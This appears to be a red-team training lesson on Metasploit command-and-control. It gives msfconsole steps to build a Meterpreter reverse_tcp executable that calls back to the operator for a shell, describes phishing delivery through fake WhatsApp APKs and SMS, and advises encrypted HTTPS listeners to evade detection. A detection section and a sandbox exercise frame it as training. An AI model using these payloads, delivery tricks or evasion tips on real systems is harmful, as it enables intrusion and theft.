Command & Control (C2) Infrastructure & Payload Delivery
Command and Control (C2) is the backbone of any offensive operation, allowing attackers to maintain communication with compromised systems. In a legal red team engagement, you set up C2 to simulate real-world threats and demonstrate how an organization can defend against them. This lesson covers building a C2 infrastructure using Metasploit Framework, generating payloads, and delivering them via common attack vectors observed in Pakistan.
C2 Frameworks for Red Teamers
The most common C2 frameworks are Metasploit Framework, Cobalt Strike, and Covenant. For this lesson, we focus on Metasploit because it is open-source and widely used in Pakistan's cybersecurity industry. Cobalt Strike is preferred for advanced red team operations due to its robust features and stealth capabilities.
Setting Up a Listener and Generating Payloads
Follow these steps to create a basic C2 listener:
- Start Metasploit:
msfconsole - Select a payload:
use payload/windows/x64/meterpreter/reverse_tcp - Configure options:
set LHOST <your_IP>andset LPORT 4444 - Generate the executable:
generate -f exe -o payload.exe - Start the listener:
run
This payload, when executed on a target, will connect back to your machine and give you a Meterpreter shell.
Payload Delivery Vectors in Pakistan
Attackers in Pakistan frequently use WhatsApp forwards containing malicious APK files disguised as utility apps (e.g., "Free electricity bill" or "JazzCash bonus"). They also use SMS phishing with links to fake login pages. As a red teamer, simulate these vectors by sending phishing emails or messages with your generated payload to test the organization's detection capabilities.
Detection and Prevention
To detect C2 traffic, use Wireshark to capture network packets and look for unusual outbound connections on non-standard ports. Implement network segmentation to isolate critical systems and limit lateral movement. Additionally, configure firewalls to block known malicious IPs and domains.
Do / Don't
- Do: Use encrypted payloads and HTTPS listeners to evade basic detection.
- Don't: Use obvious C2 infrastructure that can be easily blocked or traced.
Takeaway
Today, generate a simple Meterpreter payload using msfvenom and test it in a sandboxed virtual machine. Observe how the payload connects back to your listener and practice identifying the traffic in Wireshark.
